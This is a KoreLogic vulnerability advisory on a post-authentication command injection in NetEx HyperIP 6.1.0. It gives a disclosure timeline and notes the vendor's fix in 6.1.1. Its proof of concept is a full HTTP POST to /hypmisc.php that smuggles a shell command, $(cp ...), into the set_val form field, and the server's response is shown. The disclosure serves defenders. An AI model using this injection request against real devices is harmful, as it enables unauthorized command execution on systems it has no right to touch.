KL-001-2018-003 : NetEx HyperIP Post-Auth Command Execution Title: NetEx HyperIP Post-Auth Command Execution Advisory ID: KL-001-2018-003 Publication Date: 2018.02.08 Publication URL: https://www.korelogic.com/Resources/Advisories/KL-001-2018-003.txt
1. Vulnerability Details
Affected Vendor: NetEx
Affected Product: HyperIP
Affected Version: 6.1.0
Platform: Embedded Linux
CWE Classification: CWE-78: Improper Neutralization of Special Elements
used in an OS Command, CWE-250: Execution
with Unnecessary Privileges
Impact: Arbitrary Command Execution
Attack vector: HTTPS
2. Vulnerability Description
A command injection vulnerability can be leveraged to execute
operating system commands.
3. Technical Description
A POST variable is handled unsafely, allowing execution of arbitrary
commands with the privileges of the webserver process. In the below
example, set_val= is used to copy an existing executable file into
a writable directory.
POST /hypmisc.php HTTP/1.1
Host: 1.3.3.7
Accept-Language: en-US,en;q=0.5
Cookie: auth-token=b6b73844ce4df64f459948c5475a1096
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 99
set_id=msglvl&set_val=$(cp /etc/profile.d/which-2.sh
/var/ftp/pub/updates/a.run)&perm=on&submit=Set
HTTP/1.1 200 OK
Date: Mon, 27 Mar 2017 07:20:56 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0,
pre-check=0
Pragma: no-cache
Content-Length: 1057
Connection: close
Content-Type: text/html; charset=UTF-8
4. Mitigation and Remediation Recommendation
The vendor has released version 6.1.1 of HyperIP, which they state
addresses this vulnerability.
5. Credit
This vulnerability was discovered by Matt Bergin (@thatguylevel)
of KoreLogic, Inc.
6. Disclosure Timeline
2017.07.24 - KoreLogic submits vulnerability details to NetEx.
2017.07.24 - NetEx confirms receipt.
2017.08.16 - NetEx informs KoreLogic that this and other reported
vulnerabilities have been addressed in the forthcoming
release. ETA as of yet undetermined.
2017.09.05 - 30 business days have elapsed since the vulnerability
was reported to NetEx.
2017.09.19 - NetEx informs KoreLogic that the forthcoming release
6.1.1 is expected to ship at the end of January 2018.
2017.09.26 - 45 business days have elapsed since the vulnerability
was reported to NetEx.
2017.12.01 - 90 business days have elapsed since the vulnerability
was reported to NetEx.
2018.01.17 - 120 business days have elapsed since the vulnerability
was reported to NetEx.
2018.01.23 - NetEx notifies KoreLogic that the HyperIP 6.1.1 release
has gone live.
2018.02.08 - KoreLogic public disclosure.
7. Proof of Concept
See 3. Technical Description.
The contents of this advisory are copyright(c) 2018
KoreLogic, Inc. and are licensed under a Creative Commons
Attribution Share-Alike 4.0 (United States) License:
http://creativecommons.org/licenses/by-sa/4.0/
KoreLogic, Inc. is a founder-owned and operated company with a
proven track record of providing security services to entities
ranging from Fortune 500 to small and mid-sized companies. We
are a highly skilled team of senior security consultants doing
by-hand security assessments for the most important networks in
the U.S. and around the world. We are also developers of various
tools and resources aimed at helping the security community.
https://www.korelogic.com/about-korelogic.html
Our public vulnerability disclosure policy is available at:
https://www.korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy.v2.2.txt
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